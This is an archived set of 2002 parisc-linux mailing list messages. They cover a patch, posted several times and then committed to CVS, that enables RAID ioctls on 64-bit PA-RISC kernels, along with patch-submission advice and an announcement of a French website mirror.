Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/sda4             15458288    848292  13824744   6% /
/dev/sda2                60485     13835     43527  25% /boot
/dev/md0               2884592     32836   2705224   2% /raid

Cheers, James

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPM9D/FW+bhIOiSqWEQKeaQCeN5cXOfXz4Z0Pi1Jed9k0lGpldfAAn1G3
RrlNIJ0T8Gr/X11uUkblt/7h
=xtyl
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 03:08:57 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020501030857.A2591@parcelfarce.linux.theplanet.co.uk>
References: <20020501004239.75E8B482B@dsl2.external.hp.com> <014c01c1f0af$0d0db630$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621263 6608 80.91.229.3 (22 Nov 2014 01:54:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Braid <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 20:09:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 743B1482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 20:09:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 172jY9-0000nl-00; Wed, 01 May 2002 03:08:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <014c01c1f0af$0d0db630$5e01000a@bongo>; from james.braid@peace.com on Wed, May 01, 2002 at 01:25:17PM +1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14676

On Wed, May 01, 2002 at 01:25:17PM +1200, James Braid wrote:
> Woohoo! Just rebooted the L2000 and RAID is now working on it :)

Yay!  Apply for your "I hacked the PA/Linux kernel" badge at the office ;-)

> How do I go about submitting a patch (sorry, I am a complete newbie
> to kernel stuff). 

If it's small (say <20k), post it here.  If larger, put it on a
website and send a URL.

> Basically all I have done is copy the RAID section from the sparc64
> ioctl32.c into the parisc ioctl32.c file, and fix up the md.h
> include.

Cool.  That works for us ;-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Tue, 30 Apr 2002 21:42:33 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020501034233.D6192482B@dsl2.external.hp.com>
References: <014c01c1f0af$0d0db630$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621264 6610 80.91.229.3 (22 Nov 2014 01:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 21:42:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D6192482B; Tue, 30 Apr 2002 21:42:33 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Wed, 01 May 2002 13:25:17 +1200." <014c01c1f0af$0d0db630$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14677

"James Braid" wrote:
> How do I go about submitting a patch (sorry, I am a complete newbie
> to kernel stuff). 

grab the cvsrc from
	http://cvs.parisc-linux.org/build-tools/cvsrc?rev=1.2&content-type=text/vnd.viewcvs-markup

and drop that in your ~/.cvsrc.
How-to use anonymous CVS is described on http://cvs.parisc-linux.org/

Basically a patch is the "cvs diff" output of all modified files.

grant



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 16:23:09 +1200
Lines: 79
Approved: news@gmane.org
Message-ID: <003801c1f0c7$e6687c90$5e01000a@bongo>
References: <20020501034233.D6192482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621264 6613 80.91.229.3 (22 Nov 2014 01:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 22:20:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B450482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 22:20:24 -0600 (MDT)
In-Reply-To: <20020501034233.D6192482B@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14678

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Okay, well here's my patch for RAID on 64-bit Linux/PA-RISC. This is
the diff of the two files before and after:

8<---- START ----8<

- --- kernel-source-2.4.17-hppa/arch/parisc/kernel/ioctl32.c      Fri
Nov  2 18:54:54 2001
+++ kernel-source-2.4.17-hppa-patch/arch/parisc/kernel/ioctl32.c     
  Wed May  1 03:46:28 2002
@@ -19,9 +19,7 @@
 #include <linux/if.h>
 #include <linux/slab.h>
 #include <linux/hdreg.h>
- -#if 0 /* New RAID code is half-merged... -DaveM */
- -#include <linux/md.h>
- -#endif
+#include <linux/raid/md.h>
 #include <linux/kd.h>
 #include <linux/route.h>
 #include <linux/skbuff.h>
@@ -2880,16 +2878,26 @@ COMPATIBLE_IOCTL(BLKFRASET)
 COMPATIBLE_IOCTL(BLKSECTSET)
 COMPATIBLE_IOCTL(BLKSSZGET)

- -#if 0
- -       /* New RAID code is being merged, fix up to handle
- -        * new RAID ioctls when fully merged in 2.3.x -DaveM
- -        */
- -/* 0x09 */
- -COMPATIBLE_IOCTL(REGISTER_DEV)
- -COMPATIBLE_IOCTL(REGISTER_DEV_NEW)
- -COMPATIBLE_IOCTL(START_MD)
- -COMPATIBLE_IOCTL(STOP_MD)
- -#endif
+/* RAID */
+COMPATIBLE_IOCTL(RAID_VERSION)
+COMPATIBLE_IOCTL(GET_ARRAY_INFO)
+COMPATIBLE_IOCTL(GET_DISK_INFO)
+COMPATIBLE_IOCTL(PRINT_RAID_DEBUG)
+COMPATIBLE_IOCTL(CLEAR_ARRAY)
+COMPATIBLE_IOCTL(ADD_NEW_DISK)
+COMPATIBLE_IOCTL(HOT_REMOVE_DISK)
+COMPATIBLE_IOCTL(SET_ARRAY_INFO)
+COMPATIBLE_IOCTL(SET_DISK_INFO)
+COMPATIBLE_IOCTL(WRITE_RAID_INFO)
+COMPATIBLE_IOCTL(UNPROTECT_ARRAY)
+COMPATIBLE_IOCTL(PROTECT_ARRAY)
+COMPATIBLE_IOCTL(HOT_ADD_DISK)
+COMPATIBLE_IOCTL(SET_DISK_FAULTY)
+COMPATIBLE_IOCTL(RUN_ARRAY)
+COMPATIBLE_IOCTL(START_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY_RO)
+COMPATIBLE_IOCTL(RESTART_ARRAY_RW)

 /* Big K */
 COMPATIBLE_IOCTL(PIO_FONT)

8<---- END ----8<

Hopefully this is the right format and everything. I have been
testing it for a few hours and it seems to work fine.

Cheers, James

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPM9trVW+bhIOiSqWEQLElwCfV0rBq2eNinQrDa+C4iP4/oLDr7oAnRUa
laoVuvja3MPuH3rH9qVAXGCp
=qIsc
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 16:30:34 +1200
Lines: 69
Approved: news@gmane.org
Message-ID: <005201c1f0c8$ef5fc140$5e01000a@bongo>
References: <003801c1f0c7$e6687c90$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621264 6618 80.91.229.3 (22 Nov 2014 01:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 22:27:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75821482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 22:27:52 -0600 (MDT)
In-Reply-To: <003801c1f0c7$e6687c90$5e01000a@bongo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14679

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Damnit, Outlook screwed up the patch. Lets try again:

- --- kernel-source-2.4.17-hppa/arch/parisc/kernel/ioctl32.c      Fri
Nov  2 18:54:54 2001
+++ kernel-source-2.4.17-hppa-patch/arch/parisc/kernel/ioctl32.c     
  Wed May  1 03:46:28 2002
@@ -19,9 +19,7 @@
 #include <linux/if.h>
 #include <linux/slab.h>
 #include <linux/hdreg.h>
- -#if 0 /* New RAID code is half-merged... -DaveM */
- -#include <linux/md.h>
- -#endif
+#include <linux/raid/md.h>
 #include <linux/kd.h>
 #include <linux/route.h>
 #include <linux/skbuff.h>
@@ -2880,16 +2878,26 @@ COMPATIBLE_IOCTL(BLKFRASET)
 COMPATIBLE_IOCTL(BLKSECTSET)
 COMPATIBLE_IOCTL(BLKSSZGET)

- -#if 0
- -       /* New RAID code is being merged, fix up to handle
- -        * new RAID ioctls when fully merged in 2.3.x -DaveM
- -        */
- -/* 0x09 */
- -COMPATIBLE_IOCTL(REGISTER_DEV)
- -COMPATIBLE_IOCTL(REGISTER_DEV_NEW)
- -COMPATIBLE_IOCTL(START_MD)
- -COMPATIBLE_IOCTL(STOP_MD)
- -#endif
+/* RAID */
+COMPATIBLE_IOCTL(RAID_VERSION)
+COMPATIBLE_IOCTL(GET_ARRAY_INFO)
+COMPATIBLE_IOCTL(GET_DISK_INFO)
+COMPATIBLE_IOCTL(PRINT_RAID_DEBUG)
+COMPATIBLE_IOCTL(CLEAR_ARRAY)
+COMPATIBLE_IOCTL(ADD_NEW_DISK)
+COMPATIBLE_IOCTL(HOT_REMOVE_DISK)
+COMPATIBLE_IOCTL(SET_ARRAY_INFO)
+COMPATIBLE_IOCTL(SET_DISK_INFO)
+COMPATIBLE_IOCTL(WRITE_RAID_INFO)
+COMPATIBLE_IOCTL(UNPROTECT_ARRAY)
+COMPATIBLE_IOCTL(PROTECT_ARRAY)
+COMPATIBLE_IOCTL(HOT_ADD_DISK)
+COMPATIBLE_IOCTL(SET_DISK_FAULTY)
+COMPATIBLE_IOCTL(RUN_ARRAY)
+COMPATIBLE_IOCTL(START_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY_RO)
+COMPATIBLE_IOCTL(RESTART_ARRAY_RW)

 /* Big K */
 COMPATIBLE_IOCTL(PIO_FONT)

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPM9valW+bhIOiSqWEQJbowCfez+Sb6Men2Z8T/ljnWjjW+smEtAAoPAu
Vjzu9ywhCGI84WvC1scXkfgP
=QUrJ
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 16:31:22 +1200
Lines: 57
Approved: news@gmane.org
Message-ID: <005701c1f0c9$0c4fe5a0$5e01000a@bongo>
References: <003801c1f0c7$e6687c90$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621265 6876 80.91.229.3 (22 Nov 2014 01:54:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 22:28:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE071482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 22:28:40 -0600 (MDT)
In-Reply-To: <003801c1f0c7$e6687c90$5e01000a@bongo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14680

Arrrgh, sorry for this. Take 3:

--- kernel-source-2.4.17-hppa/arch/parisc/kernel/ioctl32.c      Fri Nov
2 18:54:54 2001
+++ kernel-source-2.4.17-hppa-patch/arch/parisc/kernel/ioctl32.c
Wed May  1 03:46:28 2002
@@ -19,9 +19,7 @@
 #include <linux/if.h>
 #include <linux/slab.h>
 #include <linux/hdreg.h>
-#if 0 /* New RAID code is half-merged... -DaveM */
-#include <linux/md.h>
-#endif
+#include <linux/raid/md.h>
 #include <linux/kd.h>
 #include <linux/route.h>
 #include <linux/skbuff.h>
@@ -2880,16 +2878,26 @@ COMPATIBLE_IOCTL(BLKFRASET)
 COMPATIBLE_IOCTL(BLKSECTSET)
 COMPATIBLE_IOCTL(BLKSSZGET)

-#if 0
-       /* New RAID code is being merged, fix up to handle
-        * new RAID ioctls when fully merged in 2.3.x -DaveM
-        */
-/* 0x09 */
-COMPATIBLE_IOCTL(REGISTER_DEV)
-COMPATIBLE_IOCTL(REGISTER_DEV_NEW)
-COMPATIBLE_IOCTL(START_MD)
-COMPATIBLE_IOCTL(STOP_MD)
-#endif
+/* RAID */
+COMPATIBLE_IOCTL(RAID_VERSION)
+COMPATIBLE_IOCTL(GET_ARRAY_INFO)
+COMPATIBLE_IOCTL(GET_DISK_INFO)
+COMPATIBLE_IOCTL(PRINT_RAID_DEBUG)
+COMPATIBLE_IOCTL(CLEAR_ARRAY)
+COMPATIBLE_IOCTL(ADD_NEW_DISK)
+COMPATIBLE_IOCTL(HOT_REMOVE_DISK)
+COMPATIBLE_IOCTL(SET_ARRAY_INFO)
+COMPATIBLE_IOCTL(SET_DISK_INFO)
+COMPATIBLE_IOCTL(WRITE_RAID_INFO)
+COMPATIBLE_IOCTL(UNPROTECT_ARRAY)
+COMPATIBLE_IOCTL(PROTECT_ARRAY)
+COMPATIBLE_IOCTL(HOT_ADD_DISK)
+COMPATIBLE_IOCTL(SET_DISK_FAULTY)
+COMPATIBLE_IOCTL(RUN_ARRAY)
+COMPATIBLE_IOCTL(START_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY)
+COMPATIBLE_IOCTL(STOP_ARRAY_RO)
+COMPATIBLE_IOCTL(RESTART_ARRAY_RW)

 /* Big K */
 COMPATIBLE_IOCTL(PIO_FONT)




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Tue, 30 Apr 2002 22:10:16 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020501051016.GH30370@tausq.org>
References: <003801c1f0c7$e6687c90$5e01000a@bongo> <005701c1f0c9$0c4fe5a0$5e01000a@bongo>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621265 6880 80.91.229.3 (22 Nov 2014 01:54:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Braid <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 23:06:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A6F5482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 23:06:21 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id pgbanaaa for parisc-linux@lists.parisc-linux.org; Tue, 30 Apr 2002 22:05:06 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 58511CD297; Tue, 30 Apr 2002 22:10:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <005701c1f0c9$0c4fe5a0$5e01000a@bongo>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14681

In reference to a message from James Braid, dated May 01:
> Arrrgh, sorry for this. Take 3:

commited to cvs:
* -pa23
* RAID ioctl fixes for 64-bit kernels; contributed by "James Braid" 
  <james.braid@peace.com>

thanks
randolph



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New parisc-linux.org website mirror online !
Date: Wed, 1 May 2002 21:16:54 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <FFBAC14B-5D37-11D6-8464-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621265 6882 80.91.229.3 (22 Nov 2014 01:54:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:25 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	marteaut@tuxfamily.org, willy@debian.org, bame@parisc-linux.org,
	Thierry Simonnet <t.simonnet@esiee.fr>
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  1 13:16:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91500482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 May 2002 13:16:56 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 0160A49BE7; Wed,  1 May 2002 21:16:54 +0200 (CEST)
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14682

Hello !

We are proud to announce that the new French mirror of parisc-linux.org 
website is now online !

It will be accessible soon (time of DNS spread) at:
http://www.fr.parisc-linux.org/

and at:
http://parisc-linux.esiee.fr/

Enjoy !

We're currently updating both parisc-linux.org and pateam.esiee.fr 
(formerly mkhppa1) to reflect the new mirroring scheme.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: New parisc-linux.org website mirror online !
Date: Thu, 02 May 2002 00:40:22 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20020502064022.9FE1F482B@dsl2.external.hp.com>
References: <FFBAC14B-5D37-11D6-8464-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621266 6888 80.91.229.3 (22 Nov 2014 01:54:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:26 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>,
	parisc-linux-announce@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 00:40:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9FE1F482B; Thu,  2 May 2002 00:40:22 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Wed, 01 May 2002 21:16:54 +0200." <FFBAC14B-5D37-11D6-8464-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
